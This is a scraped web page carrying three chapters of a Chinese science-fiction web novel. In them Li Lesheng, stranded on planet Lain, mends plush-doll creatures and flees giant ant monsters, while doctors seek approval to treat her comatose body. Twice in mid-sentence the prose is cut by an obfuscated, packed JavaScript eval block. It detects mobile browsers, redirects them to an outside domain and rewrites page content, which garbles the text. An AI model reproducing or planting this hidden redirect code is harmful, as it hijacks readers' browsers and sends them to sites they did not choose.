“这种内乱处理结果很多,但其中的冤假错案也很多。” 李乐生顿了顿,看到沈铎正十分认真的记着她的话,“比如,有的种族忠心国家,却被诬陷成了叛贼,要让他们所有的族人流放到贫瘠的焦土之地,让他们活活饿死、病死、累死。” “啊?怎么能这样?”听到此时,沈铎脸上不禁泛起一丝忧伤。 李乐生淡淡一笑,“你也觉得他们很可怜吗?” “嗯。”沈铎点点头,不满的撅着嘴巴,“星际联邦从来不会这样对他们的子民。” “……是么?”李乐生沉默了几秒,像是自言自语,但是声音大小沈铎又听得见。 沈铎连忙肯定,“真的!联邦无论哪个星球,都享有平等的权利和资源,从来不会有内乱,也更不会随便诬陷星球子民。不然会侮辱我们的联邦意志。” “以前呢?没有吗?”李乐生又问,“我是说,联邦没有成立以前,每个星球的内部,也没有么?” 沈铎:“那当然是有的。” 她的智脑迅速搜索到了几百篇相关文献,不过都是联邦建立以前的旧历史,“但不是联邦统治之下的呀,联邦的社会文明是宽厚平等,联邦意志也是无私自由,与以前的星球私有完全不是一个概念。不会出现这种私利极强的冤假错案。” 李乐生心想,难怪厄斯星那么狼狈的逃走了。 背景故事里,厄斯星甚至没有自己星球的军队指挥权,逃走时临时组成的军队用的都是自己组装的落后武器,要不是异能者们精神力强大拜托了联邦的洗脑控制,根本逃不了。 这些星球也太信任联邦了。 “我想,历史的进程是螺旋上升的。这句话在你们厄斯星,应该也是适用的。”李乐生言尽于此,不再多说。 只留下沈铎一脸好奇的盯着记录着的东西。 “现在你们的星球上还有战争吗?”沈铎显然没有意会到李乐生说的这些话背后的深意,她成为记录官时间不长,去过的地方也不多,还没有亲历过星球战争。 想到李乐生说的话,不由得有些好奇,想要记录一下战争中的社会面貌。 李乐生思考了一下,“我的国家是没有的,但是在周边国家,应该还在打仗,经济战、科技战都有,内乱也有……” 沈铎兴趣大增,“等我记录完莱恩星,我就去你们地球看看!一定要给厄斯星带回一份最详细的地球种族的战争纪闻。” 李乐生瞥过头,看着旁边的星光河,只“嗷”了一声。 女孩听不懂她的暗示,也确实是她说的太隐密了。 但她也只能做到这样了。 她倒是觉得沈铎有点天真,或许是在那种乌托邦世界待久了吧?才会对战争这种惨痛的名词产生好奇。 其实她一直觉得,厄斯星出逃前的星际联邦所统治的星域,有一种很不真实的乌托邦式美感。 咦?李乐生眼睛眨了眨。 她看到远处有什么东西动了。 44. 第 44 章 沈佳妮决定借助外力来治疗李乐生。 她的小组动用了医疗院中一切可以利用的仪器,尤其是脑科的设备,却都无法激活李乐生的脑细胞。 她的副手拥有意识入侵的异能,并且尝试着使用异能进入李乐生的大脑,但很可惜,处于【死亡状态】的大脑就相当于一个毫无生机的石头,精神力只会穿过那些没有活力的细胞,什么也干不成。 “到底为什么哭泣?”副手蹲在监控设备下面,挠着头发百思不得其解。 “要我说,就试试吧,直接攻击心脏,让心脏传递给大脑濒死的消息,看看大脑会不会醒过来!”副手再次提及自己的想法。 沈佳妮摇头,目光落在李乐生的脸上,女人的眼泪她们已经收集解析过了,没什么特别的成分。 其他人在观察室中围着那些精确但无用的身体数值,面露难色。 这位身子骨高大、外表干练的小组组长双手插兜,站在监护室中思考了许久,略有些为难的抿嘴,最终做了一个极不情愿但又不得不一试的决定—— 求助【母树】。 【诺城】,甚至可以说整个【厄斯星】的医疗科技,能发展到如今这般,是离不开【母树】这位高智慧体的帮助的。 只是这些年,厄斯星的医疗生物科技已经足够应付本土星球居民和异常者的各种身心问题,所以对树菌族的研究,也从刚开始的【生物合作】逐渐转变成了【语言解析】和【时空研究】。 后两者在近年又特意建立了以谢春花为首的常驻项目组,虽然研究进展很慢,但0.001的前进也是前进。 沈佳妮打开手环,连接了谢春花的频道。 悬浮框上跳出来女人的模样时,对方脱口而出,“我正要问问你呢,沈组长,你那边进展如何?” 沈佳妮摇摇头,略有些丧气,说道,“一筹莫展,但我倒想了个值得一试的方法。” “我也有个想法。”谢春花却没说出来,只是看着沈佳妮,“你先说说你要怎么做?” 沈佳妮略有些不甘心,舌头顶了顶上颚,语气平静,“目前我们能掌握的信息是,李乐生的脑死亡就像变色动物的伪装,变色生物是伪装成别的生物外衣从而骗人耳目;而她的大脑则是伪装成死亡状态……欺骗……” “目前还不清楚要欺骗什么对象。”沈佳妮想不通这一点,但也没钻牛角尖,只说出了自己的目的,“但能够肯定的是,我们的精神力无法进入她的大脑去激活细胞。” “所以我在想,能不能让【母树】试试呢?” 母树的树冠触条是交流媒介,是直接同所接触到的物种进行脑波交流的,而且母树是比她们更高的智慧体,也许让母树和李乐生再接触一次,能够有点用呢? 但是这样做的话,首先得打一个又一个报告经过上层审批,同时还要让谢春花愿意配合。 谢春花对于【树菌族】是极为重视和喜爱的,她想要借助母树的力量,自然需要谢春花的帮助,毕竟报告里多一个人,尤其是谢春花这个天天和树菌族打交道的专家,联邦上层批准通过的概率就大些。 “谢院长,您能帮忙一起申请吗?”沈佳妮道。 尽管谢春花已经不是医疗院的副院长了,但副院长的位子一直空着,明眼人都知道,这个职位一直都留着等谢春花回来,她们也叫习惯了,大多数人都没改过口。 谢春花那双漂亮的桃花眼弯弯的笑了起来,“巧了,我也是这么想的,哦不,我和母树都是这样想的。” 前副院长的声音中带着笑意。 沈佳妮闻言脸上也多了几分笑,紧接着她的手环通知接收了一条文件,她打开,那正是谢春花已经撰写好的【母树与李乐生大脑进行相互交流的申请报告】,里面谢春花简单又明确的列好了理由、论据和估量价值。 沈佳妮心中一惊,感慨着谢春花不愧是当初刚毕业不到一年就成为医疗院副院长的人,对方在她还尝试着想要以厄斯星本土科技突破这个难关的时候,已经想到了与母树合作了。 怪不得,谢春花早早就离开了重症监护室,原来是回树菌族繁衍区与母树对话寻求帮助去了。 “沈组长,将你们现在所掌握的一切信息,可证实的、正在预测的,都加入这份报告,我们提交给联邦,价值越多,中央政府批准的赢面就越大。” 谢春花说道。 “哦对了。”没等沈佳妮回答,这位前副院长又说了一句,“朱莉部长这边我已经打好关系了,你不用担心异常者安定区的态度。” 沈佳妮点头称是,连忙转身就要回隔壁的观察室里迁移数据到这封文件上。 谢春花又说让她做完后将文件回发给自己,到时候谢春花会提交报告。随即便挂掉了通话框。 刚一出门,沈佳妮就撞上灰色眸子的主人,中央联邦治安部的总队长正站在门正对着的方向,靠墙直勾勾的盯着重症监护室的门。 沈佳妮开门,对方那锐利的眼神便落在了她身上。 “闪耀队长。”沈佳妮面无表情的向对方打了个招呼。 也不管对方会不会回个礼,眼睛瞥了眼两侧,没有李唯一的身影。 之前,李唯一和闪耀二人一起离开了此地,说是要和中央联邦的那几位总领交涉,没过多久,【诺城】治安部的戒严状态就解除了,医疗院的治安官们也都回来了。 她们之前一直都讨论着李乐生的病情,分不出太多的精力去注意李唯一和闪耀,以至于闪耀现在站在这里,沈佳妮都不清楚对方什么时候回来的。 但是怎么只有她一个人? 李唯一难道被留下了?该不会又被惩罚了吧? 但是按照沈佳妮的经验,李唯一不可能在李乐生没有脱离这种【不安】状态的时候去接受惩处的,上次不就是这样么? 李唯一当时被安娜部长下令去禁闭室自省的时候,在场的医疗官们都看到了。 结果对方愣是拖到了李乐生醒来,又带着妻子回家睡了一觉,第二天凌晨才去接受了处罚。 沈佳妮疑惑,但藏在心中,没有言语,迈着步子推开了另一扇观察室的门,哪曾想,身后的门被闪耀一手按住。 黑发及腰的女人跟着进了观察室。 众人先看到沈佳妮时,脸上有几抹喜色,但下一秒,闪耀偏着身子站在一旁,众人一愣,面面相觑,不知所谓。 沈佳妮回头看了一眼闪耀,女人像极了一只天鹅,高傲又优雅,全身泛着上位者该有的一种压迫感。 “我奉【星云】大人的命令来监管你们的行动,你们照旧工作即可,不需要注意我。”闪耀淡淡开口,全然没有之前和李唯一在A组办公大厅交涉时那般的温和友善。 语气倒也算不上盛气凌人,但是生硬无感,更何况医疗院的环境中突然多出这么一个入侵者,许多人听着都不太舒服。 这便是她的执法准则,面对不同的任务对象时,执行不同性质的任务时,会采取不同的态度。 但再怎么不舒服,一群医疗管也没有多说什么,治病救人才是最重要的。 “瑞嘉。”沈佳妮将手环悬浮框拖拽到监控画面前面,又吩咐着工作台前的副手,“将所有我们监测到的数据、推论、预测分类,复制迁移到这份文件上。” 她指着悬浮框上的申请报告,正是谢春花发送过来的那部分。 瑞嘉立马应下来,并和另外一个男医疗官一起对比检查,再迁移数据。 “这是什么报告?”闪耀的声音忽然在耳旁响起。 沈佳妮呼吸一滞,偏头就看到右手旁的黑发女人正微眯着眸子看着悬浮框上的报告。 闪耀移动过来时毫无声息,着实吓了许多人一跳。 “我们要提交给联邦的报告,凭借本土星球的科技,没有办法治好李乐生,所以要上报给中央联邦。希望批准母树介入治疗中。”沈佳妮如实回答。 却见闪耀的眼睛已经移开,盯着观察玻璃墙那边的病人,眸中又生出几分茫然与……挣扎? 沈佳妮不确定,但至少,闪耀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16168779|176161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的神情确实像是在纠结着什么。 “李队长呢?”沈佳妮还是忍不住,询问起李唯一的去处。 闪耀几乎是接着她的话尾,脱口而出,“在和星云大人谈话。” 【星云】【联邦总部裁决长】 沈佳妮回想着此前的事来,在会议厅内审判李唯一和李乐生时,五个总部负责人中,只有绿森、沃特、维金发言了,这位裁决长和另一位似乎一直在沉默。 不过让沈佳妮没有想到的是,闪耀竟然会回答她。 闪耀在会议厅中的态度并不友好,而且很支持【抹杀】,沈佳妮本以为对方会对她的问题置若罔闻。 “为什么?”闪耀忽然开口。 沈佳妮眨了眨眼,“什么?” 闪耀的目光从李乐生脸上移开,仍是平静无波的眸子,盯着沈佳妮,“为什么要治好她?要费这么大功夫?” 沈佳妮:“治病救人,医者责任,哪有什么为什么?” 闪耀脸上又是那种迷惘的、纠结的表情,“她不是厄斯星人。” 闪耀又说道,“死了就死了,本身就没有价值,却要消耗更多的代价去救她,这是价值失衡。” 这下沈佳妮还没说话,她的小组成员里有个医疗官却是听不下去了,“闪耀队长,请你不要亵渎我们的职业!” 那个小姑娘是今年刚进医疗院的,对于自己治病救人的职业怀着满腔热血,“生命没有高低贵贱之分,更不能用价值数字来衡量!” “这是违反【厄斯星行医准则】的!” 闪耀:“她不是你的族人,这套行医准则,也用不到她身上。” “你!” 沈佳妮:“提提,专注你的工作。” 上司兼老师这样一开口,小姑娘只好闭上嘴巴,但仍愤愤不平的瞪了一眼闪耀,低下头去和同伴们进行模拟手术。 沈佳妮叹了口气,闪耀的目光又盯向了李乐生,她出言,“闪耀队长,我想你是看过有关于病人的体检报告的。” “乐生小姐虽然不是我们厄斯星人,但是她的基因编码和我们是高度相似的,尤其是编码的底层逻辑,其实是一致的。” “她体内的二十三对染色体,对照着我们厄斯星人体内的二十三对分裂粒子,虽然双方星球的叫法不同,但是本质是一样的。更不用提身体细胞的运动代谢方式,没有区别。” “唯一有区别的地方在于,乐生小姐的细胞阈值过低,所以不能拥有厄斯星人那样快的能量代谢速度,自然也比厄斯星人瘦弱、矮小些,你不觉得她与普通的厄斯星人、与我们,像演化过程中的三个阶段吗?她是1,普通的厄斯星人是2,我们就是3。” 沈佳妮说着说着,不由自主地陷入了自己地学术思维中,李乐生简直是所有的外来物种中,最容易混进本土星球人群中的那一个。 她的基因链和本土居民的基因链,是一模一样的。 这也是沈佳妮为何致力于本次治疗的其中一个原因。 拥有着相同基因链的李乐生会莫名其妙的脑部假死,那么其他的厄斯星人会不会在某天也出现这种情况呢? 倘若真的什么都不做,任由李乐生被抹杀,若是此后,厄斯星人也出现了相似的病症,又当如何? 她并不能确定这次百分百就能治好李乐生,但有一件事她很确定,那就是,不干就会错过一次病症研究的机会。 “完成了,组长。”瑞嘉的声音让沈佳妮从思绪中脱身,她拽过悬浮框,划动阅览,随后发送给谢春花。 和众人一起等待着报告批准的结果。 “的确……不能这么快抹杀。”闪耀忽然说道。 灰蒙蒙的又极为晶莹剔透的眼睛里躺着李乐生的身影,闪耀响起办公室中,李乐生眼睛上覆盖的那层异能铠甲,那是汉克的异能。 至少她要搞清楚这一点,搞清楚后,再抹杀也不迟。 闪耀脑子里又闪过那个强大又漂亮的白发治安官的脸,为什么要找一只低等的生物做妻子呢? 45. 第 45 章 沈铎走了。 李乐生愣愣的看着对方消失的地方,默默的消化着前一分钟还和她说笑的人在这一分钟就凭空消失了。 沈铎倒也不是莫名其妙毫无征兆的消失的,她给李乐生提前打好了招呼。 五分钟前。 也就是沈铎说以后有空要去地球一趟的时间。 “我突然发现一件事,和你交谈的时候,不需要借助搜集器解析你的语言逻辑,我们之间交流毫无障碍耶!”沈铎兴奋的回顾着与李乐生相遇后这几个小时的相处,抛却性格因素外,她们两人的语言交谈是十分顺畅的。 “搜集器?那是什么?”李乐生迷惑的发问。 女孩就从自己的旅行包里掏出一个手掌般大小的长方体盒子,凸出的圆形镜头和相机镜头很相似。 沈铎指着这奇怪的盒子同李乐生解释了一番,李乐生才明白其中含义。 原来作为【记录者】,她们不仅仅要记录星球的地貌、气候、物种分布,各类物种社会之间的交流符号、生存习惯都是要记录的,有时候遇到当地星球或当地时空生存的食物链顶端的种族,大多数这类顶端种族已经拥有了一套完整的语言链,且进化出了很完善的思维大脑。 只是TA们的语言环境并不与厄斯星类似,这就代表着,记录官与当地物种的交流是有障碍的。 但厄斯星所生产的搜集器可以帮助记录官们解决这一麻烦,搜集器只要搜集到他人的dna,比如头发、唾液、血液等等,再搜集到当地自然环境的随便一个因素,比如一片叶子、一口水或是一捧土,二者结合起来,便能推演出当地环境演化后的此物种的进化方向,其物种的语言链也能被推算出来。 到时候,再借助智脑植入记录官的大脑里,记录官就可以使用当地语言与其交流。 沈铎常这样做。 而李乐生这个地球人,是很少的,不需要借助搜集器就能和她交流的人。 而两之间这种畅通无阻的交谈节奏,更是沈铎成为记录官以来前无古人的一种体验。 李乐生倒是没想到这一点,或者说,在她穿越后就没有想过【交流的问题】。 【厄斯星】这个星球在她的世界中,是游戏里的时空,她穿越到这里后,所谓文字、发音的畅通在她潜意识里并不属于疑惑点。 要是有人写了个小说,穿书的人说的话也是小说作者的母语,这很正常呀。 这是她本能的想法。 但沈铎提出来后,李乐生心中有了几丝动摇。 “你真的是突然出现在这里的吗?你们地球真的没有隐瞒科技?”沈铎又问。 成功将李乐生的思维打断。 “真的。有没有隐瞒科技我不确定,但以我的阅历,确实不觉得我的母星可以掌握穿越技术。”李乐生冷静的回答。 她只知道她的国家各种载人航天飞船在发向太空,也知道地球几个大国,连同她国家在内,都在研究太空探索,空间站都已经成立了。 除此之外,她压根不了解科技的进度了。 “你要是不相信,扫描我的记忆试——”李乐生话说到一半及时住嘴。 她太大意了,她的记忆力可不止有地球时的生活,还有来到厄斯星后的那段日子。 若是沈铎扫描了,那些记忆不就暴露在沈铎面前了,她脑子里的智脑也会全面接受,到时候星际图书馆就会记载下来【厄斯星出逃】的未来历史,福祸未知,后果究竟如何,她恐怕负不了责。 李乐生心中一慌,后退了两步。 沈铎却没在意她这个退缩逃避的动作,女孩沮丧的叹了口气,眼神哀怨的瞅了一眼李乐生。 李乐生:? 她怎么惹到对方了? “你以为我不想么?能扫描我早干了。”沈铎郁闷的吐槽。 李乐生:? 她正想问沈铎为什么这么说?是设备坏了? 却看到沈铎忽然站直了身子,她的双眼闪过一抹蓝光。 紧接着就看到女孩迅速收拾起了自己的东西,将原本放在地上的旅行包系好背在了身上。 李乐生:“怎么了?” 沈铎:“我的智脑提醒我,时间到了,我得先回去了。” 李乐生:“什么时间啊?” 沈铎:“此次穿越后的活动时间呀!跃迁装置的能量已经要消耗殆尽了,我马上就要离开了。” 李乐生立马急了,这不就只剩她一个人了吗? “可是,我还有事情没告诉你呢。”李乐生说道,连忙指着她之前看到的方向,“那儿有东西动过,你不用看看吗?” 沈铎听后顺着李乐生指的方向看去,在河对岸,但是一无所获,她想或许是李乐生眼花,或许是真的看到了,但此刻都没办法去验证,“没办法,从三维世界穿越到二维世界是需要不停的能量维持的,二者的时空因子不一样,需要借助能量转化,我在这里呆的每一分每一秒,都要消耗能量。” “能量消耗殆尽后,我还没离开,就会被困在这里,只能等联邦其他人来救我——” 女孩的话还没说话,身体就迅速消失在原地,李乐生的眼睛一晃,眼神落在了远处的山上。 整个世界瞬间安静下来。 李乐生愣神许久,这种大变活人般的现象,仍是让她不能同时适应。 她不是没见过这种情景,在闪耀的人攻击她的时候,也是突然出现了一个人要杀她,但是她是有预感的。 是的,预感。 她也不明白自己的预感有何而来,但是确实是感觉到了危险。 而沈铎的离开就像是平时工作的时候突遇停电,电脑、灯光、空调在一瞬间全部停止工作的停滞状态,突兀的、猝不及防的,让她难以预防。 “就这么走了啊。”李乐生呢喃着。 她环视四周,这片天地是那样的梦幻温暖,但是又让她深感到寂寥孤独。 与沈铎的相处不过几个小时,李乐生此刻却生出了十分厉害的戒断反应,又或者说,是沈铎的到来与离开,这个过程,让她终于忍不住情绪崩溃起来。 她站在原地哭了起来,没有什么声音,啜泣,没有眼泪。 真的好奇怪。 她真的很难受,眼睛也泛着那股流泪的酸涩,明明心里苦涩异常,鼻子发酸,可是哭不出来。 但是她的身体反应明明告诉自己,自己其实在哭。 “妈…爸……” “我想回家…我不想待着这里……” 她的脑海中想起一个又一个熟识的面孔,挨个的叫起了那些人。 李乐生迫切的希望能有个人出现在自己身边,哪怕不能带她回家也行,只要有人。 她一个人在这个没有同伴的世界中,不知疲倦、不知饥饿的一直走下去,她真的很痛苦。 尽管工作后的她是独居,也很少和别人来往。 但是她可以通过网络、通过各种终端接触到社会,她有书看,她出门散步可以感受到街市人声鼎沸,即便是夜深人静的时候,目光触及那些还未熄灯的窗户、熄了灯的剥离,她都知道一件事—— 她生活在人类社会中。 她不喜欢和很多人打交道,但是她离不开这个社会。 她离不开“活”。 哪怕是在【厄斯星】,也有李唯一,有很多厄斯星人的生活她能看到。 可是莱恩星上,只有她“活着”。 或许这个星球上有活着的,像她此前看到的那些树林,像她身后草原上生长着的花朵,也许这便是莱恩星的活物。 可是与地球不一样,这种以毛绒状态存在着的“活”,在她的世界中是死的。 当两个时空的规则不一致时,她这个误闯进来的人,便是最痛苦的。 “李唯一。” “李唯一!” “李唯一!!你在哪儿呀?” 李乐生看着天空,撇着嘴,嘴角还在颤抖,声音也在颤动,她绝望的望着周遭,心中又无比的渴望那个她口中的人能出现。 她不想待在这儿。 李乐生喊了几声,干巴巴的,连个回声都听不到。 这让她觉得更无望了,她的希望就像自己的声音,得不到回应,无论是他人的,还是自己的。 李乐生又想起李唯一之前关禁闭的状态。 她觉得,自己就像是被关在莱恩星里。 早晚也会因为无聊、孤独和无望而精神崩溃的。 “不是说布偶人就是莱恩星人吗?”她消沉了许久,又强打起精神,回想着蓬蓬。 为什么她来了这么久,没有见到一个莱恩星人呢? 如果说真的要被困在这里,陪在一群不会说话的布偶人身边,也比自己一个人待着沦为疯子要好得多。 她这么想着。 可是又一筹莫展,她连布偶人的面都见不到。 李乐生望向了河对岸。 之前她看到有什么东西动了,但是离得远,且就动了一下,她实在看不清楚。 “反正现在什么也做不了,干等着也没用。”李乐生呢喃自语。 往河边靠了一步,星光河下,那些晶莹剔透的球状发光物还在顺着水流远去。 之前沈铎在记录的时候,她从中已经了解过了,这条河很浅,只在膝盖,而且河流之中也没有什么异能量,河里的发光球被拿出来后会化作一滩水,但总体是无害的。 李乐生一脚踩下去,她决定涉水到对岸,追到那边看看,能不能发现些什么。 河约有三米宽,水也不是很凉,那些光球撞在她的腿上后又绕开,继续顺着水流动。 走到一半,李乐生没有感觉到任何不适,且河底虽然踩着较软,但是并不滑,还是很安全的。 她便更放心,加快速度到了对岸。 一上岸,裤腿上的水就淋在毛毡地上,鞋子也在上面踩了一个又一个实施的鞋印。 李乐生没有去管自己留下的这些水痕,连裤子都没有拧干,直接向着那边跑去。 她根本察觉不到雷,越跑越快,而眼睛所见的场景却没什么变化。 也不知道跑了多久,她跑出那草原,跑进了荒漠中,又翻过了一片片“沙丘”,却仍精神十足,容光焕发。 没有流一滴汗。 直到她再次爬上一座更高的、更烫的沙丘,站在那沙丘山头上,却看到了一幕诡异的场景。 沙丘下方,聚集了很多的……棉花。 很多布偶断肢,它们断肢里的绒毛、棉花都散了出来,堆积成了小堆,也有部分是铺成了一层,那些断肢,包括脑袋、手脚,还有的只剩了张布偶皮。 而最诡异的是,这些形状恶意的断肢还在蠕动,有的布偶人只是丢了脑袋,于是爬起来,跌跌撞撞的胡乱奔走着,就像是在寻找它们的脑袋。 李乐生当场呆在原地。 这个场面并不血腥,布偶人的身体就是棉花毛绒组成的,没有血液,身为人类的李乐生并不能感同身受的将自己代入进去。 但是满地的断肢,那些挣扎着的手脚,丢了脑袋后如无头苍蝇乱转的身体,还有抱着自己的脑袋安上去却又掉下来,反复这样做却无济于事的布偶人……李乐生觉得它们很可怜。 李乐生顺着沙丘滑下去,心情复杂地靠近这片“尸体”堆积的地方。 她注意到很多断肢都像是被扯开的,不是被刀划开的切口。 布偶人与布偶最大的区别就是,它们没有缝合线,从头到脚,它们的皮囊是找不到布偶的缝合线的。 触感、身体的组成部分,和布偶却没什么区别。 “你们为什么会变成这样?”李乐生问。 她一下来,就吸引了许多脑袋的注意力,粉熊布偶人,蓝兔布偶人,还有其他的,只要脑袋能动的,都转过头来看着她。 不过只看了一眼,布偶人们又开始干起了自己的事。 它们不会说话,无法回答李乐生的问题。 事实上,它们不一定能听得懂李乐生的话。 布偶人的思维逻辑只限于它们内部的生活,蓬蓬那种是个例外。 李乐生得不到答案,眼睛见到一个布偶人正抓着地上的棉花要往自己的脑袋里塞,但是手太短了,根本够不到脑袋上的洞,它的脑袋有一半都瘪着。 李乐生走过去,抓着棉花帮它塞了进去。 布偶人愣了一下,歪歪脑袋,又继续双手抓着棉花往自己脑袋上放,但是都放不进去,全部落了下来。 它一动,脑袋也跟着动,李乐生手里的棉花就没办法放进洞里。 李乐生只好摁住它的脑袋,不让它动。 布偶人没什么力气,反抗不了,也不攻击李乐生,想弯腰去剑地上的棉花,可是脑袋被李乐生抓着,根本够不着。 只好两只手不停的做出伸展的动作,除此之外,没有别的反应。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16174380|176161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李乐生固定着它的脑袋,抓起一把又一把棉花塞进去,还十分细心的调整着位置,不让那些棉花乱跑。 若是将布偶人的对象换成一个人,就相当于她在搅动那人的脑浆。 但是这是布偶人,它们实在过于可爱,完全不会让李乐生觉得恶心。 直到装满,李乐生抓着裂口,转着布偶人的脑袋看了一圈,发现没有产生太大的不对称后,才放下心来。 “好了。”她朝布偶人说道。 那个粉熊布偶人也不知道听没听懂她的话,只是定定的看着李乐生,又伸手摸摸自己圆润的脑袋。 李乐生注意到对方原本裂口的地方此时已经愈合了。 那布偶人似乎明白了李乐生做了什么,双手立马抱住了李乐生的腿。 双脚又往外移动。 就像是要把李乐生搬走,但是力气太小,它又只有李乐生膝盖那般高,根本搬不动。 如此反复。 李乐生不明白,她给对方接好了脑袋,怎么对方还不领情。 但她也没生气,布偶人的思维本身就和她不一样。 然而那粉熊布偶人又转身跑了,李乐生看着对方忽然跑到远处,抱着个另一个粉熊布偶人的脑袋走了过来。 直接放到了她脚边。 那个脑袋圆鼓鼓的,棉花什么的都还在,就是没有身体。 这个已经治好的粉熊布偶人就站在原地默默的盯着李乐生。 李乐生立马就明白了它的意思,是要让她治好自己的同伴。 “不是……”女人有些尴尬地看着那颗软绵绵地圆润脑袋,“它手和脚都没了,肚子都没了……你能懂吗?” 粉熊布偶人不说话,只盯着她。 黑黝黝地眼睛并没有什么情绪,只装着李乐生地脸,偏偏李乐生鬼使神差地从中读出了一种可怜兮兮地期望。 受不了了。李乐生别过头去,不看对方,“我也想帮你啊!但是就一个脑袋,我怎么帮啊?” 要是李唯一在就好了,她是造物系异能,直接就帮这些布偶人造个身体出来接上去了。 那布偶人又从旁边捧了一堆又一堆棉花过来,放在李乐生地脚边。 李乐生:“不是棉花的问题。” 她说后又无奈的叹了口气,她觉得自己像个白痴,布偶人根本听不懂她说话。 解释来解释去都没什么用。 但是她又实在没有办法。 其实一走了之就行了,她心里也清楚,可是很多人类生来就对弱者患有一种同情心理,她没办法狠心离开。 于是就和这个布偶人僵持了下来。 “我先帮其它的,好吗?”周围还有一堆布偶人等着接身子呢。 李乐生开始耐心的在这片“尸体”堆中挨个寻找那些布偶人丢失的残缺肢体。 那些最简单的,比如肚子空了站不起来的,只需要塞棉花就成,她先将这些救了,随后才是接头、接手大赛。 先是从样子找起,比如颜色、种类都是不一样的。 紧接着便是对比伤口,扯断的伤口能够严丝合缝就行。 随后便是固定个大概三秒,布偶人的奇异体质似乎只需要三秒就能让伤口重新愈合。 李乐生乐此不疲的重复着这些工作,她觉得自己现在特像流水线工厂里的工人,整个脑子里全是棉花棉花棉花,除了棉花啥也没有。 干的越来越就,“治好”的布偶人也越来越多,堆积成山的棉花也慢慢的变低变小。 她干的连时间都忘了,身后的布偶人跟着她不停的左走右停,也不知道是在好奇她为什么这么高,还是说这便是它们特殊的感谢仪式? 李乐生懒得去想。 然而受伤的布偶人实在太多了,她救不完。 “天还没黑?”李乐生抬头,“这个世界,可能没有白天黑夜之分。” 她想。 而且因为她自己的身体出现了变化,感受不到疲惫和饥渴,做了这么多依旧很有精神,所以她也没办法判断到底过去了多长时间。 那个粉熊布偶人现在变成了两个,两个粉熊布偶人,一个抱着脑袋,另一个抱着棉花,还跟在李乐生的面前,等着李乐生治好它们的同伴。 李乐生无奈的叹了口气,没有再说话。 这些布偶人听不懂,它们只按照自己的思维做事,看到李乐生能“救”它们,就要求李乐生救它们地同伴。 有句话李乐生也不知道该不该说,她觉得这些布偶人的大脑比较白痴且单一,倒不是骂它们,更不是看不起它们,只是陈述事实。 但转念一想,布偶人的社会中不需要工作维持生活来源,它们本质上就是不老不死的,且是群体性思维,单一白痴其实更有利于它们内部的交流。 将人类社会的规则套用在它们身上,实在是不尊重它们。 就在此时,李乐生忽然听到一声奇怪的磨牙声。 她连忙转过头,就看到了一只巨型蚂蚁正趴在山丘半山腰,脑袋和半身还在外面,下半身却埋在沙丘里。 她猛然想起自己之前看到的那一动,就是黑色的,但是消失得很快。 原来是这个巨型蚂蚁吗? 那巨型蚂蚁其实只是外形酷似蚂蚁,真要和蚂蚁比起来,它要恐怖的多,比如它的嘴巴不是蚂蚁那样的两个钳子,而是一圈圈黑色的、尖锐的牙齿正间错排列着。 红色的眼睛死死的盯着李乐生,看不出什么情绪,但是嘴角流下来的口水却很直观的说明了一件事:它很馋。 不儿?这不是布偶星球吗? 怎么还有新物种? 李乐生大脑有一瞬间的宕机。 那巨型蚂蚁也不知道为什么没有攻击李乐生,只盯着李乐生磨着牙,流着口水,声音就像是刀刃相互摩擦,异常刺耳。 李乐生才不管对方为什么按兵不动呢。 她拔腿就跑! 靠啊!合着这些布偶人是被这蚂蚁撕裂的,他爹的一群臭哑巴说不出来也不告诉她!她要是知道有这么个东西在她压根就不下去了! 该死的莱恩星!你到底进化了个什么? 能不能让你的子民聪明点啊!!! 李乐生心里活动犹如策马奔腾,而身后的追逐声也越来越多大。 李乐生忍不住转个头用余光瞬间瞥了一眼—— 你大爸的为什么突然来了十几只蚂蚁啊啊啊啊啊啊啊啊! 46. 第 46 章 恐惧是最好的驱动力。 李乐生跑的周围的风景几乎模糊一片,余光里只感觉到大片大片沙丘的色块被她落在了身后,至于她跑了多久,跑了多快,又跑到了哪个方向,是一概不知的。 身后传来的那种密密麻麻的抓地声越来越多,越来越近,李乐生迅速回头瞥了一眼,就看到乌泱泱一片黑色的……虫潮。 巨型蚂蚁追在身后,它们相继从四面八方赶来,加入这场对她的围剿中。 不是?到底为什么会有这么多啊? 她刚穿越过来又吼又叫的,也没见有这些东西来啊? 其实说它们是蚂蚁,并不准确,它们的外型和蚂蚁一样,都是头小屁股大,身子中间又细又窄,但是它们的脑袋上那两只触角呈锥状,就像羚羊角,但是要比羚羊角更锋利更长,它们拥有着八条腿,就像蜘蛛似的,高速爬行毫不费力,嘴巴上那一圈圈排列的尖锐牙齿的齿缝间因为迅速移动,而不停的甩出津液。 然而李乐生并不知道它们的真名,所以也只能称为蚂蚁怪物了。 奇怪?兴许是跑了许久,后面的蚁潮虽然穷追不舍,但是却追不上她。 李乐生大脑中因为恐惧而升起的那片空白逐渐淡去,她依旧没停下,拼尽全力奔跑着,但是脑子里多了点其他的想法—— 她的力气好像无穷无尽。 李乐生这时候才想起来了,自她穿越到这个世界后,这具身体就有一个【不知疲倦、不知饥渴】的奇妙改变。 幸好有这个金手指,不然她早就命丧蚁口了。 思及此李乐生心中多了几分暖意。 感恩。 感恩谁她也不知道,总之先感恩一遍。 